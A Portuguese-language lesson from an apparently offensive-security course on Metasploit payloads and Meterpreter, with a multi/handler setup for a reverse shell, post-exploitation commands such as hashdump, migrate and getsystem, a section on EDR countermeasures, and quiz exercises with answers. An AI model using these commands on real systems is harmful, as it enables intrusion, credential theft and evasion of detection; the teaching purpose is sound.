Disparar um exploit você já sabe. Mas o exploit é só a porta; o que você faz depois de atravessá-la é onde a pós-exploração começa — e é determinado pelo payload que você escolheu entregar. Esta aula aprofunda os payloads do Metasploit e apresenta a joia da coroa do framework: o Meterpreter, um payload avançado que transforma um simples acesso em uma plataforma completa de pós-exploração. Dominar o Meterpreter é dominar boa parte do trabalho que se faz dentro de um alvo comprometido.

Staged e non-staged

Primeiro, uma distinção técnica de payloads que tem consequências práticas: staged vs. non-staged (ou "single"). Um payload non-staged é enviado inteiro de uma vez — completo, autossuficiente, mas maior. Um payload staged é enviado em partes: primeiro um pequeno "stager" que estabelece a conexão e então baixa o resto ("stage") do atacante. O staged é menor no envio inicial (útil quando o espaço para o payload é limitado, como em certos buffer overflows) e mais flexível. Você reconhece a diferença na notação do Metasploit pelos separadores: windows/meterpreter/reverse_tcp (staged, com barras) versus windows/meterpreter_reverse_tcp (non-staged). Não é trivia — escolher o tipo errado para o contexto faz o payload falhar, e entender isso resolve uma classe comum de "por que não funcionou".

O handler que pesca a conexão

Para receber qualquer reverse shell ou Meterpreter, você precisa de um handler — um ouvinte no seu lado que aguarda a conexão de volta do alvo. Quando você usa um módulo de exploit com payload reverso, o Metasploit configura o handler automaticamente; mas quando o payload é entregue por outra via (um executável que você gerou, um upload manual), você precisa iniciar o handler manualmente:

use exploit/multi/handler                          # o handler genérico
set PAYLOAD windows/meterpreter/reverse_tcp        # o payload que você espera receber
set LHOST 192.168.1.5                              # seu IP (para onde o alvo conecta)
set LPORT 4444                                      # sua porta de escuta
exploit                                             # começa a escutar

Esse padrão — configurar um handler para "pescar" a conexão — é onipresente no trabalho ofensivo, e você o usará sempre que gerar payloads por conta própria (aula Gerando payloads com msfvenom: shells sob medida).

Meterpreter: um payload em memória

Agora, o Meterpreter — e por que ele é revolucionário. Um shell comum te dá a linha de comando padrão do sistema (bash, cmd), o que já é ótimo, mas limitado e barulhento. O Meterpreter é um payload especial que roda inteiramente na memória (não toca o disco, dificultando a detecção baseada em arquivos) e oferece um conjunto riquíssimo de comandos de pós-exploração numa interface própria, tudo por um canal cifrado. Ele transforma a máquina comprometida numa plataforma que você opera. Os comandos essenciais do Meterpreter que você usará constantemente:

sysinfo              # informações do sistema comprometido
getuid               # qual usuário você é no alvo
getprivs             # seus privilégios (para escalação)
ps                   # processos em execução
migrate <PID>        # move o Meterpreter para outro processo (estabilidade/evasão)
hashdump             # extrai os hashes de senha do sistema
screenshot           # captura a tela do alvo
download / upload    # transfere arquivos entre alvo e atacante
shell                # cai para um shell de sistema comum, se precisar
getsystem            # tenta escalar para privilégios de SYSTEM (Windows)
background           # envia a sessão para segundo plano, sem fechá-la

hashdump, getprivs, migrate

Veja o poder concentrado aqui: hashdump extrai os hashes que você levará ao Hashcat (aula Cracking offline com John e Hashcat: quebrando hashes em escala); getprivs revela caminhos de escalação (aula Escalação de privilégios em Windows: tokens, serviços e SYSTEM); migrate move seu acesso para um processo mais estável ou mais discreto (se você comprometeu um processo que pode fechar, migrar para um processo de sistema garante persistência da sessão). O Meterpreter é, essencialmente, um canivete suíço de pós-exploração numa única interface.

Migrar para um processo estável

Um recurso conceitualmente importante é o migrate, porque ilustra uma sutileza da pós-exploração. Quando um exploit tem sucesso, seu Meterpreter roda dentro de algum processo do alvo — e se aquele processo for encerrado (o usuário fecha o programa, o serviço reinicia), você perde a sessão. Migrar o Meterpreter para um processo mais estável e de longa duração (um processo de sistema) preserva seu acesso. Além de estabilidade, migrar para um processo "normal" ajuda na evasão, pois seu código passa a residir num processo de aparência legítima. É um exemplo de como a pós-exploração exige pensar em manter o acesso, não só obtê-lo — o que nos levará à persistência (aula Persistência: garantindo que o acesso sobreviva).

Por que o EDR o caça

Do lado defensivo, o Meterpreter é um alvo prioritário de detecção, e entender por quê consolida o lado azul. Como ele roda em memória e usa técnicas de injeção, produtos de EDR (aula Evasão de EDR e Living off the Land: o estado da arte) focam em detectar exatamente seus comportamentos: injeção de processo, o padrão migrate, o tráfego de C2 característico, a extração de credenciais (hashdump toca o LSASS/SAM, disparando alertas). As contramedidas incluem EDR moderno, monitoramento de comportamento de processos (injeção e migração anômalas), proteção de credenciais (Credential Guard, que frustra o hashdump), e detecção de tráfego de C2. É por isso que o tradecraft moderno (Bloco X) investe tanto em evadir essas detecções — o Meterpreter "cru" é bem conhecido dos defensores. Com o Metasploit e o Meterpreter dominados, falta aplicar tudo num exploit real, clássico e devastador, que você já verificou lá na enumeração: o EternalBlue.

Fontes e leituras recomendadas

Exercícios

  1. Explique a diferença entre payloads staged e non-staged, e como a notação do Metasploit os distingue.

    ✓ Resposta:

    Non-staged é enviado inteiro de uma vez (maior, autossuficiente); staged é enviado em partes — um pequeno stager estabelece a conexão e baixa o restante (menor no envio inicial, útil quando há pouco espaço). A notação distingue por separadores: barras indicam staged (.../meterpreter/reverse_tcp), enquanto underscores indicam non-staged (..._reverse_tcp).

  2. O que é um handler e quando você precisa iniciá-lo manualmente?

    ✓ Resposta:

    Um handler é o ouvinte no lado do atacante que aguarda a conexão de volta de um payload reverso. Precisa ser iniciado manualmente (via exploit/multi/handler) quando o payload é entregue por uma via que não configura o handler automaticamente — como um executável gerado à parte ou um upload manual.

  3. O que torna o Meterpreter diferente e mais poderoso que um shell de sistema comum? Cite três de suas capacidades.

    ✓ Resposta:

    O Meterpreter roda inteiramente em memória (evita detecção por arquivo), usa canal cifrado e oferece uma rica interface de comandos de pós-exploração. Capacidades: hashdump (extrai hashes), screenshot (captura tela), migrate (move-se entre processos), download/upload, getprivs. (Três quaisquer.)

  4. Explique o propósito do comando migrate e os dois benefícios (estabilidade e evasão) que ele proporciona.

    ✓ Resposta:

    O migrate move o Meterpreter para outro processo. Estabilidade: se o processo original for encerrado, a sessão seria perdida; migrar para um processo estável e duradouro preserva o acesso. Evasão: residir num processo de aparência legítima torna a presença menos detectável.

  5. Por que o Meterpreter é um alvo prioritário de detecção do Blue Team, e cite duas contramedidas correspondentes.

    ✓ Resposta:

    Porque roda em memória e usa injeção de processo, com comportamentos característicos (injeção, migração, extração de credenciais, tráfego de C2) que produtos de segurança monitoram. Contramedidas: EDR moderno com detecção de comportamento de processos e proteção de credenciais (Credential Guard, que frustra o hashdump); detecção de tráfego de C2. (Duas quaisquer.)